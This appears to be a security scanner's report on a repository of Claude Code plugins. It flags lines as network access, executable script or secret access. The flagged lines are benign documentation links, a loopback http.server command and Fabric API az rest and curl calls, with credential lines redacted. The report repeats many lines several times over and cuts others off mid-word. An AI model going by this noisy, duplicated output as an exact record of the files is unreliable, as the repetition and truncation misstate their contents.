| `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` | - Network accessline 121
| `Microsoft.*` (WinAppSDK) | `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/{fully.qualified.typename}` | - Network accessline 123
For example, `Microsoft.UI.Xaml.Controls.NavigationView` maps to: `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/microsoft.ui.xaml.controls.navigationview` - Network accessline 124
`https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/microsoft.ui.xaml.controls.navigationview` - Network accessline 231
- [Windows Platform SDK API reference](https://learn.microsoft.com/uwp/api/) — documentation for `Windows.*` namespaces - Network accessline 232
- [Windows App SDK API reference](https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/) — documentation for `Microsoft.*` WinAppSDK namespaces
harness/claude-code/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/Invoke-WinMdQuery.ps1
- Executable scriptline 1
Executable file
harness/claude-code/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/Update-WinMdCache.ps1
harness/claude-code/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.dgspec.json
harness/claude-code/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.g.props
harness/claude-code/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.g.targets
harness/claude-code/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/cache-generator/obj/project.assets.json
harness/claude-code/plugins/doublecheck/.claude-plugin/plugin.json
harness/claude-code/plugins/edge-ai-tasks/.claude-plugin/plugin.json
harness/claude-code/plugins/ember/.claude-plugin/plugin.json
harness/claude-code/plugins/ember/skills/daily-focus-board/SKILL.md
- Network accessline 66
1. Gather the task list from the user or their message. Capture a short title, optional `emoji`, optional `sub` note, optional `tag`, optional `due`, optional `quad`, and counter fields when the task has a numeric goal. 2. Generate `focus-b - Network accessline 67
2. Generate `focus-board.html` from `assets/board.template.html`, escaping injected JSON as described above. 3. Serve the folder on loopback so localStorage has an `http://` origin: `python -m http.server 8799 --bind 127.0.0.1`, or use `scr - Network accessline 68
3. Serve the folder on loopback so localStorage has an `http://` origin: `python -m http.server 8799 --bind 127.0.0.1`, or use `scripts/serve-board.ps1`. - Network accessline 69
4. Open the board in a browser canvas side panel when the host supports it; otherwise open `http://localhost:8799/focus-board.html` in the default browser. 5. Drive the board through conversation: keep status and notes in the browser, regen - Network accessline 116
**Status:** created | needs input | blocked **Board file:** `focus-board.html` **Open URL:** `http://localhost:8799/focus-board.html` - Network accessline 117
**Board file:** `focus-board.html` **Open URL:** `http://localhost:8799/focus-board.html` **Date key:** `<YYYY-MM-DD>` - Network accessline 118
**Open URL:** `http://localhost:8799/focus-board.html`
harness/claude-code/plugins/ember/skills/daily-focus-board/references/neurodivergent-design.md
- Network accessline 50
- **Executive function — task initiation, activation energy, time management, working memory** — CHADD (Children and Adults with ADHD), the leading ADHD nonprofit: - *Executive Function Skills* — https://chadd.org/about-adhd/executive-f - Network accessline 51
CHADD (Children and Adults with ADHD), the leading ADHD nonprofit: - *Executive Function Skills* — https://chadd.org/about-adhd/executive-function-skills/ - *Executive Function Issues and ADHD* (Brown & Barkley models) — - Network accessline 52
- *Executive Function Skills* — https://chadd.org/about-adhd/executive-function-skills/ - Network accessline 53
- *Executive Function Issues and ADHD* (Brown & Barkley models) — https://chadd.org/attention-article/executive-function-issues-and-adhd/ - **Body doubling** — focus improving in the presence of a partner; the board's core premise - Network accessline 54
https://chadd.org/attention-article/executive-function-issues-and-adhd/ - Network accessline 55
- **Body doubling** — focus improving in the presence of a partner; the board's core premise ("drive it by talking to your AI") — Simply Psychology, *Body Doubling and ADHD* — https://www.simplypsychology.com/articles/body-doubling-adhd - Network accessline 56
("drive it by talking to your AI") — Simply Psychology, *Body Doubling and ADHD* — https://www.simplypsychology.com/articles/body-doubling-adhd - **Reduced motion / sensory sensitivity** — behind the reduced-motion toggle and honoring the - Network accessline 57
https://www.simplypsychology.com/articles/body-doubling-adhd - Network accessline 59
`prefers-reduced-motion` setting: - MDN, *`prefers-reduced-motion`* — https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion - Network accessline 60
- MDN, *`prefers-reduced-motion`* — https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion - W3C WCAG 2.1, *Understanding SC 2.3.3: Animation from Interactions* — - Network accessline 61
https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion - Network accessline 62
- W3C WCAG 2.1, *Understanding SC 2.3.3: Animation from Interactions* — https://www.w3.org/WAI/WCAG21/Understanding/animation-from-interactions.html - **Above/below the line — "locating yourself"** (the arrival check-in) — The Conscious - Network accessline 63
https://www.w3.org/WAI/WCAG21/Understanding/animation-from-interactions.html - Network accessline 64
- **Above/below the line — "locating yourself"** (the arrival check-in) — The Conscious Leadership Group, *Locating Yourself: A Key to Conscious Leadership* — https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership - Network accessline 65
Group, *Locating Yourself: A Key to Conscious Leadership* — https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership - **Important vs. urgent** (the Eisenhower quadrant labels + "Schedule is where the good work lives"): - Network accessline 66
https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership - Network accessline 67
- **Important vs. urgent** (the Eisenhower quadrant labels + "Schedule is where the good work lives"): - Asana, *The Eisenhower Matrix* — https://asana.com/resources/eisenhower-matrix - Todoist, *The Eisenhower Matrix* — https://todoist - Network accessline 68
- Asana, *The Eisenhower Matrix* — https://asana.com/resources/eisenhower-matrix - Network accessline 69
- Todoist, *The Eisenhower Matrix* — https://todoist.com/productivity-methods/eisenhower-matrix - Network accessline 71
self-compassion.org — https://self-compassion.org/
harness/claude-code/plugins/ember/skills/daily-focus-board/references/tutorial.md
- Network accessline 22
1. Ask Ember to make the board. It serves the folder (e.g. `python -m http.server 8790 --bind 127.0.0.1`) and gives you an `http://localhost:…/…html` URL. - Network accessline 23
you an `http://localhost:…/…html` URL. - Network accessline 34
> localStorage needs an `http://` origin, so always **serve ** the folder rather than double-clicking
harness/claude-code/plugins/ember/skills/daily-focus-board/scripts/serve-board.ps1
- Executable scriptline 1
Executable file - Network accessline 18
Write-Error "The server exited on startup (code $($proc.ExitCode)) — is Python installed and the port free?"; exit 1 } $url = "http://localhost:$Port/$File" - Network accessline 19
} $url = "http://localhost:$Port/$File" Write-Host "Focus board: $url" - Network accessline 20
$url = "http://localhost:$Port/$File"
harness/claude-code/plugins/eyeball/.claude-plugin/plugin.json
harness/claude-code/plugins/eyeball/skills/eyeball/tools/eyeball.py
harness/claude-code/plugins/fabric-agentic-plugin/.claude-plugin/plugin.json
- Network accessline 6
"name": "Microsoft Fabric contributors" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "keywords": [ - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/COMMON-CLI.md
- Network accessline 24
> **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 24
> **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 24
> **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 24
> **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 24
> **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 24
> **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 24
> **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 24
> **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 25
> is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience. Without `--resource`, `az rest` will - Network accessline 25
> is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience. Without `--resource`, `az rest` will - Network accessline 25
> is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience. Without `--resource`, `az rest` will - Network accessline 25
> is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience. Without `--resource`, `az rest` will - Network accessline 25
> is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience. Without `--resource`, `az rest` will - Network accessline 25
> is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience. Without `--resource`, `az rest` will - Network accessline 25
> is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience. Without `--resource`, `az rest` will - Network accessline 25
> is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience. Without `--resource`, `az rest` will - Network accessline 26
> `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 26
> `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 26
> `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 26
> `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 26
> `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 26
> `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 26
> `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 26
> `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 34
> **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 34
> **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 34
> **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 34
> **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 34
> **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 34
> **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 34
> **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 34
> **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 35
> (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 35
> (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 35
> (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 35
> (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 35
> (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 35
> (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 35
> (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 35
> (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 77
az rest \ --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 77
az rest \ --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 77
az rest \ --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 77
az rest \ --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 77
az rest \ --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 77
az rest \ --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 77
az rest \ --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 77
az rest \ --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 78
--method get \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 78
--method get \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 78
--method get \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 78
--method get \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 78
--method get \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 78
--method get \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 78
--method get \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 78
--method get \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 79
--resource "https://api.fabric.microsoft.com" \ - Network accessline 79
--resource "https://api.fabric.microsoft.com" \ - Network accessline 79
--resource "https://api.fabric.microsoft.com" \ - Network accessline 79
--resource "https://api.fabric.microsoft.com" \ - Network accessline 79
--resource "https://api.fabric.microsoft.com" \ - Network accessline 79
--resource "https://api.fabric.microsoft.com" \ - Network accessline 79
--resource "https://api.fabric.microsoft.com" \ - Network accessline 79
--resource "https://api.fabric.microsoft.com" \ - Network accessline 80
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 80
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 80
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 80
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 80
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 80
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 80
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 80
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 83
# curl to the Fabric API — add it via -H: - Network accessline 83
# curl to the Fabric API — add it via -H: - Network accessline 83
# curl to the Fabric API — add it via -H: - Network accessline 83
# curl to the Fabric API — add it via -H: - Network accessline 83
# curl to the Fabric API — add it via -H: - Network accessline 83
# curl to the Fabric API — add it via -H: - Network accessline 83
# curl to the Fabric API — add it via -H: - Network accessline 83
# curl to the Fabric API — add it via -H: - Network accessline 84
[Credential-related source omitted] - Network accessline 84
[Credential-related source omitted] - Network accessline 84
[Credential-related source omitted] - Network accessline 84
[Credential-related source omitted] - Network accessline 84
[Credential-related source omitted] - Network accessline 84
[Credential-related source omitted] - Network accessline 84
[Credential-related source omitted] - Network accessline 84
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Network accessline 85
[Credential-related source omitted] - Network accessline 85
[Credential-related source omitted] - Network accessline 85
[Credential-related source omitted] - Network accessline 85
[Credential-related source omitted] - Network accessline 85
[Credential-related source omitted] - Network accessline 85
[Credential-related source omitted] - Network accessline 85
[Credential-related source omitted] - Network accessline 85
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Network accessline 87
"https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 87
"https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 87
"https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 87
"https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 87
"https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 87
"https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 87
"https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 87
"https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 116
**Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht - Network accessline 116
**Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht - Network accessline 116
**Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht - Network accessline 116
**Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht - Network accessline 116
**Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht - Network accessline 116
**Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht - Network accessline 116
**Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht - Network accessline 116
**Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht - Network accessline 119
WS_NAME="Marketing" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 119
WS_NAME="Marketing" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 119
WS_NAME="Marketing" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 119
WS_NAME="Marketing" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 119
WS_NAME="Marketing" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 119
WS_NAME="Marketing" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 119
WS_NAME="Marketing" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 119
WS_NAME="Marketing" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 120
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 120
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 120
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 120
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 120
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 120
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 120
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 120
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 121
--resource "https://api.fabric.microsoft.com" \ - Network accessline 121
--resource "https://api.fabric.microsoft.com" \ - Network accessline 121
--resource "https://api.fabric.microsoft.com" \ - Network accessline 121
--resource "https://api.fabric.microsoft.com" \ - Network accessline 121
--resource "https://api.fabric.microsoft.com" \ - Network accessline 121
--resource "https://api.fabric.microsoft.com" \ - Network accessline 121
--resource "https://api.fabric.microsoft.com" \ - Network accessline 121
--resource "https://api.fabric.microsoft.com" \ - Network accessline 122
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 122
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 122
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 122
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 122
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 122
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 122
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 122
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 139
ITEM_TYPE="Lakehouse" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 139
ITEM_TYPE="Lakehouse" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 139
ITEM_TYPE="Lakehouse" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 139
ITEM_TYPE="Lakehouse" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 139
ITEM_TYPE="Lakehouse" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 139
ITEM_TYPE="Lakehouse" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 139
ITEM_TYPE="Lakehouse" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 139
ITEM_TYPE="Lakehouse" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 140
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 140
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 140
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 140
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 140
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 140
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 140
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 140
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 141
--resource "https://api.fabric.microsoft.com" \ - Network accessline 141
--resource "https://api.fabric.microsoft.com" \ - Network accessline 141
--resource "https://api.fabric.microsoft.com" \ - Network accessline 141
--resource "https://api.fabric.microsoft.com" \ - Network accessline 141
--resource "https://api.fabric.microsoft.com" \ - Network accessline 141
--resource "https://api.fabric.microsoft.com" \ - Network accessline 141
--resource "https://api.fabric.microsoft.com" \ - Network accessline 141
--resource "https://api.fabric.microsoft.com" \ - Network accessline 142
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \ - Network accessline 142
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \ - Network accessline 142
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \ - Network accessline 142
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \ - Network accessline 142
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \ - Network accessline 142
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \ - Network accessline 142
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \ - Network accessline 142
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \ - Network accessline 156
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 156
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 156
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 156
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 156
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 156
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 156
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 156
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 157
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 157
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 157
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 157
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 157
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 157
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 157
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 157
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 158
--resource "https://api.fabric.microsoft.com" \ - Network accessline 158
--resource "https://api.fabric.microsoft.com" \ - Network accessline 158
--resource "https://api.fabric.microsoft.com" \ - Network accessline 158
--resource "https://api.fabric.microsoft.com" \ - Network accessline 158
--resource "https://api.fabric.microsoft.com" \ - Network accessline 158
--resource "https://api.fabric.microsoft.com" \ - Network accessline 158
--resource "https://api.fabric.microsoft.com" \ - Network accessline 158
--resource "https://api.fabric.microsoft.com" \ - Network accessline 159
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 159
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 159
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 159
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 159
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 159
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 159
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 159
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 163
* The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se - Network accessline 163
* The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se - Network accessline 163
* The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se - Network accessline 163
* The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se - Network accessline 163
* The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se - Network accessline 163
* The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se - Network accessline 163
* The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se - Network accessline 163
* The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se - Network accessline 165
* See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types. - Network accessline 165
* See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types. - Network accessline 165
* See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types. - Network accessline 165
* See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types. - Network accessline 165
* See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types. - Network accessline 165
* See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types. - Network accessline 165
* See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types. - Network accessline 165
* See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types. - Network accessline 203
# Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 203
# Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 203
# Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 203
# Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 203
# Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 203
